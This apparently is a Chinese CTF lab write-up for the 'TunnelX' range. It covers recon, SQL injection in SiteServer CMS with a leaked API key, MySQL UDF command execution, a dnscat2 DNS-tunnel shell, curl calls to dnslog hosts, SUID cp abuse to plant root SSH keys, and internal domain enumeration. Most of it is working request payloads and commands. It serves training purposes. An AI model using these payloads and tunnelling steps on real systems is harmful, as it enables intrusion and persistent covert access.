TunnelX-春秋云镜

39.99.155.252

外网

fscan

fscan.exe -h 39.99.230.203

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
39.99.230.203:80 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://39.99.230.203      code:200 len:24977  title:Zosimos
已完成 1/1

fscan.exe -h 39.99.230.203 -p 1-65535

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
39.99.230.203:143 open
39.99.230.203:25 open
39.99.230.203:110 open
39.99.230.203:2121 open
39.99.230.203:49665 open
[*] alive ports len is: 5
start vulscan
已完成 0/5 [-] webtitle http://39.99.230.203:2121 Get "http://39.99.230.203:2121": net/http: HTTP/1.x transport connection broken: malformed HTTP status code "Microsoft"

80:

image-20260706183711897

目录扫描

python dirsearch.py -u http://39.99.230.203/

  _|. _ _  _  _  _ _|_    v0.4.3 by 鹏组安全
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11714

Output File: D:\cyberspace\MISC_tool_En\all_in\蓝队应急响应工具箱v2025.3\联动红队\onefox\gui_scan\dirsearch\reports\http_39.99.230.203\__26-07-06_18-51-46.txt

Target: http://39.99.230.203/

[18:51:46] Starting:
[18:51:46] 301 -  147B  - /js  ->  http://39.99.230.203/js/
[18:51:46] 403 -  312B  - /%2e%2e//google.com
[18:51:47] 403 -  312B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[18:51:47] 404 -    0B  - /.ashx
[18:51:47] 404 -    0B  - /.asmx
[18:51:51] 200 -   29KB - /404.html
[18:51:52] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:51:54] 404 -    0B  - /admin%20/
[18:51:54] 404 -    3KB - /admin.
[18:52:01] 302 -    0B  - /api/docs/  ->  /api/docs/index.html?url=/api/swagger/v1/swagger.json
[18:52:01] 302 -    0B  - /api/docs  ->  /api/docs/index.html?url=/api/swagger/v1/swagger.json
[18:52:02] 301 -  158B  - /aspnet_client  ->  http://39.99.230.203/aspnet_client/
[18:52:02] 403 -    1KB - /aspnet_client/
[18:52:02] 404 -    3KB - /asset..
[18:52:05] 403 -  312B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[18:52:08] 301 -  153B  - /contents  ->  http://39.99.230.203/contents/
[18:52:08] 301 -  148B  - /css  ->  http://39.99.230.203/css/
[18:52:14] 301 -  150B  - /fonts  ->  http://39.99.230.203/fonts/
[18:52:16] 301 -  149B  - /home  ->  http://39.99.230.203/home/
[18:52:17] 403 -    1KB - /images/
[18:52:17] 301 -  151B  - /images  ->  http://39.99.230.203/images/
[18:52:17] 301 -  152B  - /include  ->  http://39.99.230.203/include/
[18:52:17] 403 -    1KB - /include/
[18:52:18] 404 -    3KB - /index.php.
[18:52:19] 404 -    3KB - /javax.faces.resource.../WEB-INF/web.xml.jsf
[18:52:19] 404 -    3KB - /javax.faces.resource.../
[18:52:19] 403 -    1KB - /js/
[18:52:22] 404 -    0B  - /login.wdm%20
[18:52:22] 404 -    3KB - /login.wdm%2e
[18:52:34] 404 -    3KB - /rating_over.
[18:52:38] 404 -    0B  - /service.asmx
[18:52:41] 404 -    3KB - /static..
[18:52:44] 301 -  153B  - /template  ->  http://39.99.230.203/template/
[18:52:44] 403 -    1KB - /template/
[18:52:46] 404 -    0B  - /umbraco/webservices/codeEditorSave.asmx
[18:52:46] 301 -  151B  - /upload  ->  http://39.99.230.203/upload/
[18:52:46] 301 -  151B  - /Upload  ->  http://39.99.230.203/Upload/
[18:52:46] 403 -    1KB - /upload/
[18:52:47] 302 -  153B  - /Trace.axd  ->  /SiteServer/pageError.html?logId=120
[18:52:48] 301 -  150B  - /utils  ->  http://39.99.230.203/utils/
[18:52:49] 200 -    7B  - /version.txt
[18:52:49] 200 -    7B  - /VERSION.txt
[18:52:49] 404 -    3KB - /WEB-INF./web.xml
[18:52:49] 404 -    3KB - /WEB-INF./
[18:52:51] 404 -    0B  - /WebResource.axd?d=LER8t9aS

Task Completed

2121是个ftp匿名登录

ftp 39.99.230.203 2121

image-20260706183911664

需要密码,用hash爆破一下

提取7z文件的哈希
7z2john secret.7z > hash.txt

爆破
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# 7z2john secret.7z > hash.txt 
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
                                                                                   
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# ls
hash.txt  secret.7z
                                                                                   
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# cat hash.txt                    
secret.7z:$7z$1$19$0$$16$dcfbf0db0c032c111cd5e48ccde9d906$3636571473$112$104$0e7e9b93a02117462ceefd2fe0508c06f76f83d929037987e04b4191207d74536bb3caa56fa9ca9dca248d31a7d6557dafaf95f3185bf6bc62f7aec434fe3b2cad6dedfd4a3cde3cfa8d482db860629d55a966af5bf0afacbc280f6dd63072f48a82ce16847fdbcb4275485558532897$105$5d00004000

┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 1 for all loaded hashes
Cost 4 (data length) is 104 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
13131313         (secret.7z)     
1g 0:00:03:09 DONE (2026-07-06 18:47) 0.005280g/s 37.17p/s 37.17c/s 37.17C/s bizkit..bagpuss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到密码13131313

文件内容:

A strange character string, You're the only one I'm telling
e7d41890-5742-48f0-9f3c-1393db541fc7

一个UUID,是 SiteServer 中用于身份认证的 API 密钥,在 HTTP 请求头中添加即可访问到后台

SiteServer CMS 6.15.51 后台存在 SQL 注入,加上之前得到的KEY

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 60
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7

{"siteId":1,"keyword":"' and 1=(select @@Version)--","groupId":0,"page":1,"perPage":24}

image-20260706185520621

抓取目标请求

单引号报错注入

在Repeater中修改JSON的keyword参数值:

{"siteId":1,"keyword":"1'","groupId":0,"page":1,"perPage":24}

点击 Send,观察响应:

  • 如果返回SQL错误信息(如 You have an error in your SQL syntax),说明存在注入

image-20260706191142371

进行UDF提权

攻击步骤1:发送第一个注入请求(写入udf.so)

在Repeater中构造请求:

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: [自动计算]

{"siteId":1,"keyword":"1';SELECT 0x7f454c46...(完整十六进制)... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';-- ","groupId":0,"page":1,"perPage":24}

十六进制:

xxd -p udf.so | tr -d '\n' > udf.hex

关键点:

  • 需要把EXP中完整的十六进制字符串复制到keyword值里
  • 如果UDF太长(确实很长),Burp可能会卡,可以用Intruder分块发送

攻击步骤2:创建sys_eval函数

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json

{"siteId":1,"keyword":"1';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';-- ","groupId":0,"page":1,"perPage":24}

观察响应:应该返回HTTP 200,如果返回错误,说明udf.so写入失败。

这里看了wp说是站库分离的,后续去问了AI,因为用这个发包的形式DNS反弹shell失败之后用sqlmap得到交互式shell之后查看主机名的时候返回了MYSQL而不是web服务器的名字,所以猜测是站库分离

sql-shell> select @@hostname;
[21:30:42] [INFO] retrieved: 'MYSQL'
select @@hostname: 'MYSQL'

MYSQL用户来源IP也暴露了分离

sql-shell> select user();
select user(): 'root@172.22.61.50'

当前 MySQL 用户是 root@172.22.61.50,这意味着连接来自 172.22.61.50(即 Web 服务器),数据库本身运行在另一个 IP 上(通过 @@hostname 可知是 MYSQL 主机)

这类 CMS 系统的标准部署架构就是:

  • Web 服务器(172.22.61.50):运行 IIS + PHP/ASP.NET,提供 Web 服务
  • 数据库服务器(172.22.61.41):运行 MySQL,存储数据

为什么知道TCP不出网而DNS出网

sql-shell> select sys_eval('curl xxx.ceye.io');

可以发现http记录里面没有而dns记录里面有,所以就有了下面的思路,用dnscat搭建DNS隧道

攻击步骤3:写入dnscat2到/tmp

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json

{"siteId":1,"keyword":"1';SELECT 0x7f454c46...(dnscat的十六进制)... INTO DUMPFILE '/tmp/dnscat';-- ","groupId":0,"page":1,"perPage":24}

攻击步骤4:赋予dnscat执行权限

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json

{"siteId":1,"keyword":"1';select sys_eval('chmod +x /tmp/dnscat');-- ","groupId":0,"page":1,"perPage":24}

攻击步骤5:执行whoami验证

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json

{"siteId":1,"keyword":"1';select sys_eval('whoami');-- ","groupId":0,"page":1,"perPage":24}

预期响应:在JSON返回值中会包含whoami的执行结果

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 127

{"siteId":1,"keyword":"1';select sys_eval('curl `whoami`.c1759aa1.log.dnslog.pp.ua');-- ","groupId":0,"page":1,"perPage":24}

image-20260706194546444

vps:

ruby ./dnscat2.rb 域名 -c client123

这里的域名大概是

image-20260709193038339

发包:

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 124

{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=client123 域名')-- ","groupId":0,"page":1,"perPage":24}

失败

又试了手动连接,用sqlmap去获得交互式

python sqlmap.py -r rawhttp.txt --dbms=mysql --batch --sql-shell --fresh-queries

rawhttp.txt:

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 60
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7

{"siteId":1,"keyword":"*","groupId":0,"page":1,"perPage":24}

image-20260706214519809

使用 SELECT 查询 16 进制写入 udf.so 到 mysql 插件所在路径:

sql-shell> SELECT so文件的十六进制 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

创建自定义函数 sys_eval 并调用该函数执行系统命令:

sql-shell> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

sql-shell> select * from mysql.func;

sql-shell> select sys_eval('whoami');

image-20260706215040394

下载已经编译好的dnscat客户端并转换成 16 进制,再在 sql-shell 中使用 SELECT 查询 16 进制值将文件写入到目标主机中:

sql-shell> SELECT dnscat文件的十六进制 INTO DUMPFILE '/tmp/dnscat';

查看并验证是否写入成功,在写入成功后赋予执行权限:

sql-shell> select sys_eval('md5sum /tmp/dnscat');

sql-shell> select sys_eval('chmod +x /tmp/dnscat');

sql-shell> select sys_eval('ls -al /tmp/dnscat');

image-20260706215348737

image-20260706215356670

vps开服务端:

ruby ./dnscat2.rb 域名 -c client123

image-20260723203126474

靶机执行

sql-shell> select sys_eval('/tmp/dnscat --secret=client123 域名')

还是失败

学习wp思路和手法

服务端收到下面这种就表示连接成功了

dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

进入交互式shell

  1. windows - 查看所有会话窗口
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.example.com [*]
  1 :: command (MYSQL) [encrypted and verified] [*]

含义:显示当前 dnscat2 服务端的所有活动窗口/会话

窗口 ID 名称 说明
0 main 主控制台窗口,当前激活状态([active])
crypto-debug 加密调试窗口 显示加密相关的调试信息
dns1 DNS 驱动 DNS 服务器正在 0.0.0.0:53 运行,监听 ns1.example.com 域名的请求
1 command (MYSQL) 这是最重要的!表示客户端(MYSQL 主机)已成功连接,建立了一个命令会话,且通信是加密验证的([encrypted and verified])

[\*] 标记:表示该窗口处于后台运行状态,不是当前激活的窗口。


  1. window -i 1 - 进入指定窗口
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

含义:进入 ID 为 1 的会话窗口(即与 MYSQL 主机的命令会话)

信息 说明
New window created: 1 进入该窗口
history_size (session) => 1000 该会话的历史记录最多保存 1000 条
Session 1 Security: ENCRYPTED AND VERIFIED! 会话是加密且经过验证的(基于 --secret 密钥)
This is a command session! 这是一个命令会话,可以在目标主机上执行 dnscat2 特有的命令(如 ping、shell、download 等)

3. shell - 获取交互式 Shell

command (MYSQL) 1> shell
Sent request to execute a shell
New window created: 5
Shell session created!

含义:在目标主机上创建一个交互式系统 Shell(相当于反弹了一个 cmd/bash)

信息 说明
Sent request to execute a shell 向客户端发送了执行 Shell 的请求
New window created: 5 创建了一个新的窗口,ID 为 5,用于承载这个 Shell 会话
Shell session created! Shell 会话创建成功

4. suspend - 挂起当前窗口

command (MYSQL) 1> suspend

含义:将当前激活的窗口(ID 1)挂起到后台,返回到主控制台窗口

类似于:

  • Linux 中的 Ctrl+Z(将前台进程放到后台)
  • Screen/Tmux 中的 Ctrl+A, D(脱离当前会话)

执行 suspend 后,回到了 dnscat2> 主提示符,可以继续操作其他窗口


5. 再次 windows - 查看更新后的窗口列表

dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.example.com [*]
  1 :: command (MYSQL) [encrypted and verified]
  2 :: sh (MYSQL) [encrypted and verified] [*]

变化:

  • 窗口 1(命令会话)不再有 [*] 标记,表示它已被挂起到后台
  • 新增了窗口 2:sh (MYSQL) [encrypted and verified] [*],这就是刚刚创建的交互式 Shell 会话
  • 窗口 2 带有 [*],表示它是当前激活的窗口

6. window -i 2 - 进入 Shell 会话

dnscat2> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
This is a console session!

含义:进入 ID 为 2 的 Shell 会话窗口

信息 说明
This is a console session! 这是一个控制台会话,不是命令会话
anything you type will be sent as-is to the client 你输入的任何内容都会原样发送到目标主机(就像直接在目标主机的终端里输入一样)
To go back, type ctrl-z. 按 Ctrl+Z 可以挂起这个会话,回到主控制台

command session vs console session 的区别:

会话类型 作用 输入示例
command session 执行 dnscat2 特有命令 shell、ping、download、upload、listen
console session 执行目标主机的系统命令 whoami、ls、pwd、id

7. whoami - 在目标主机上执行命令

sh (MYSQL) 2> whoami
mysql

含义:在目标主机(MYSQL)上执行了 whoami 命令,返回当前用户是 mysql

这证明:

  • Shell 会话正常工作
  • 当前权限是 mysql 用户(不是 root)
  • 后续需要提权(如通过 SUID cp 提权)
命令 作用
windows 查看所有活动会话窗口
window -i 1 进入 ID 为 1 的命令会话
shell 在目标主机上创建交互式 Shell
suspend 挂起当前窗口,回到主控制台
window -i 2 进入 ID 为 2 的 Shell 会话
whoami 在目标主机上执行系统命令
Ctrl+Z 挂起当前会话,回到主控制台

dnscat

查找SUID

sql-shell> select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &');
[12:27:21] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &')'
[12:27:21] [INFO] retrieving the length of query output
[12:27:21] [INFO] retrieved:
[12:27:21] [INFO] retrieved:
select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &'): ' '

sh (MYSQL) 2> cat /tmp/1.txt
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/cp
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep

发现有cp,可以写入公钥

sh (MYSQL) 6> echo 'ssh-rsa AAAxxxxxx' > /tmp/authorized_keys
sh (MYSQL) 2> cp /tmp/authorized_keys /root/.ssh/authorized_keys

Dnscat2 支持 TCP 转发,允许通过已建立的 DNS 隧道建立 SSH 或 RDP 连接

sh (MYSQL) 2> ifconfig
eth0      Link encap:Ethernet  HWaddr 00:16:3e:26:69:cb
          inet addr:172.22.61.41  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe26:69cb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:138972 errors:0 dropped:0 overruns:0 frame:0
          TX packets:82245 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:101274940 (101.2 MB)  TX bytes:14866264 (14.8 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:300 (300.0 B)  TX bytes:300 (300.0 B)

sh (MYSQL) 2>

# ctrl + z

dnscat2> window -i 1	#窗口 1 是 command (MYSQL) 会话,用于执行 dnscat2 特有的命令,之前已经用它在目标主机上创建了 Shell(窗口 2),现在再次进入,是为了执行 listen 命令建立 TCP 隧道

command (MYSQL) 1> listen 0.0.0.0:2222 172.22.61.41:22
Listening on 0.0.0.0:2222, sending connections to 172.22.61.41:22
Connection from 222.244.120.98:16531; forwarding to 172.22.61.41:22...
[Tunnel 0] connection successful!

建立 TCP 端口转发隧道

command (MYSQL) 1> listen 0.0.0.0:2222 172.22.61.41:22

含义:在 dnscat2 服务端(VPS)上监听 2222 端口,将收到的所有连接,通过 DNS 隧道转发到目标主机(MYSQL)的 22 端口(SSH 服务)

语法:

listen <本地监听地址:端口> <目标地址:端口>
参数 值 说明
本地监听地址 0.0.0.0:2222 在 VPS 的所有网卡上监听 2222 端口
目标地址 172.22.61.41:22 将流量转发到内网 MYSQL 主机的 SSH 端口

数据流向

攻击者 → VPS:2222 → DNS 隧道 → MYSQL:22

ssh连接

root@kali-server:~# ssh root@vps_ip -p 2222
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Welcome to Alibaba Cloud Elastic Compute Service !

Last login: Tue Nov  7 12:41:38 2023 from 172.22.61.41
root@MYSQL:~# whoami
root
root@MYSQL:~# cat /root/flag/flag02.txt
▄▄▄▄▄▄▄                             ▀▀█    ▄    ▄
   █    ▄   ▄  ▄ ▄▄   ▄ ▄▄    ▄▄▄     █     █  █
   █    █   █  █▀  █  █▀  █  █▀  █    █      ██
   █    █   █  █   █  █   █  █▀▀▀▀    █     ▄▀▀▄
   █    ▀▄▄▀█  █   █  █   █  ▀█▄▄▀    ▀▄▄  ▄▀  ▀▄

flag02: flag{ed71eb83-64ea-4bfa-892b-01079eb97b09}

再利用ssh搭建socks5代理

root@kali-server:~# ssh -D 1080 -CfgN root@vps_ip -p 2222
参数 含义 详细说明
ssh SSH客户端命令 用于建立安全的加密连接
-D 1080 动态端口转发 在本地(攻击机)开启一个SOCKS5代理服务,监听端口1080。所有通过此代理的流量都会被SSH客户端封装,并转发到SSH服务端(即你的VPS)
-C 启用压缩 压缩传输数据,在DNS这种低速隧道下能略微提升传输效率
-f 后台运行 SSH连接建立后,会转入后台运行,不会占用你的当前终端
-g 允许远程主机连接 允许其他IP地址的主机使用你这个本地代理。如果没这个参数,默认只允许本机(127.0.0.1)连接
-N 不执行远程命令 告诉SSH客户端,只做端口转发,不开启远程Shell会话。常用于纯转发场景
root@vps_ip SSH登录用户和地址 指定使用root用户登录你的VPS(即vps_ip)
-p 2222 指定SSH端口 因为你的dnscat2 listen命令将VPS的2222端口映射到了内网MYSQL主机的22端口,所以-p 2222表示连接VPS的2222端口,实际是连到了MYSQL主机上
  1. VPS 是 dnscat2 服务端:ruby ./dnscat2.rb ...
  2. VPS 也是 SSH 客户端:ssh -D 1080 ... -p 2222
  3. VPS 同时是 SOCKS5 代理服务器:监听在 127.0.0.1:1080

流量走向

[VPS 本机]
    │
    │ SSH 客户端连接 localhost:2222
    │ 因为 2222 端口被 dnscat2 listen 占用
    ▼
[dnscat2 服务端 (VPS 上)]
    │
    │ 通过 DNS 隧道转发流量
    ▼
[MYSQL 主机 172.22.61.41]
    │
    │ 连接到本地的 22 端口 (SSH)
    ▼
[内网其他主机]

socks代理配置就是vpsip 1080

提权

之前有扫到内网网段172.22.61.41

root@kali-server:~# proxychains4 -q crackmapexec smb 172.22.61.41/24
SMB         172.22.61.17    445    DC               [*] Windows 10.0 Build 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB         172.22.61.34    445    WIN2012          [*] Windows 6.3 Build 9600 x64 (name:WIN2012) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB         172.22.61.50    445    WEB              [*] Windows 10.0 Build 14393 x64 (name:WEB) (domain:xiaorang.lab) (signing:False) (SMBv1:False)

这里wp是从41开始扫描的

目标写法 起始 IP 结束 IP 扫描范围
172.22.61.0/24 172.22.61.0 172.22.61.255 从 0 开始,包含 0 和 255
172.22.61.41/24 172.22.61.41 172.22.61.255 从 41 开始,不包含 0-40

扫到三台主机

1. 域控制器(DC)- 172.22.61.17

字段 值 说明
IP 172.22.61.17 域控服务器地址
主机名 DC 域控制器
操作系统 Windows 10.0 Build 14393 Windows Server 2016
域 xiaorang.lab 域名称
SMB 签名 signing:True 开启了 SMB 签名,无法进行 NTLM 中继攻击
SMBv1 False 已禁用不安全的 SMBv1

关键信息:这是域控制器,SMB 签名已开启,意味着更安全,攻击难度更高。


2. Windows Server 2012 - 172.22.61.34

字段 值 说明
IP 172.22.61.34 Win2012 服务器地址
主机名 WIN2012 Windows Server 2012 R2
操作系统 Windows 6.3 Build 9600 Windows Server 2012 R2
域 xiaorang.lab 域成员
SMB 签名 signing:False 未开启 SMB 签名,可能可以进行 NTLM 中继
SMBv1 False 已禁用 SMBv1

关键信息:SMB 签名未开启,是内网横向移动的潜在突破口。从 WP 看,这确实是突破口(通过 AS-REP Roasting 获得 yangdming 密码,然后利用关机权限提权)。


3. Web 服务器 - 172.22.61.50

字段 值 说明
IP 172.22.61.50 Web 服务器地址
主机名 WEB Web 服务器
操作系统 Windows 10.0 Build 14393 Windows Server 2016
域 xiaorang.lab 域成员
SMB 签名 signing:False 未开启 SMB 签名
SMBv1 False 已禁用 SMBv1

关键信息:这也是我们一开始打点进入的机器(通过 SiteServer CMS 漏洞)

wp做了LDAP匿名查询操作

Windows Server 的 LDAP 服务默认允许匿名查询(除非管理员特意关闭),可以获取:

  • 域用户列表
  • 域组列表
  • 计算机列表
  • 部分属性(如 sAMAccountName、userPrincipalName)
root@kali-server:~# proxychains4 -q crackmapexec ldap 172.22.61.17 -u '' -p '' --users
SMB         172.22.61.17    445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP        172.22.61.17    389    DC               [+] xiaorang.lab\:
LDAP        172.22.61.17    389    DC               [*] Total of records returned 74
LDAP        172.22.61.17    389    DC               DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Administrator,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Guest,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DefaultAccount,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Guests,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Print Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Backup Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Replicator,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Remote Desktop Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Network Configuration Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Performance Monitor Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Performance Log Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Distributed COM Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=IIS_IUSRS,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Cryptographic Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Event Log Readers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Certificate Service DCOM Access,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RDS Remote Access Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RDS Endpoint Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RDS Management Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Hyper-V Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Access Control Assistance Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=System Managed Accounts Group,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Storage Replica Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DC,OU=Domain Controllers,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=krbtgt,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Computers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Schema Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Enterprise Admins,CN=Users,DC=xiaorang,DC=lab
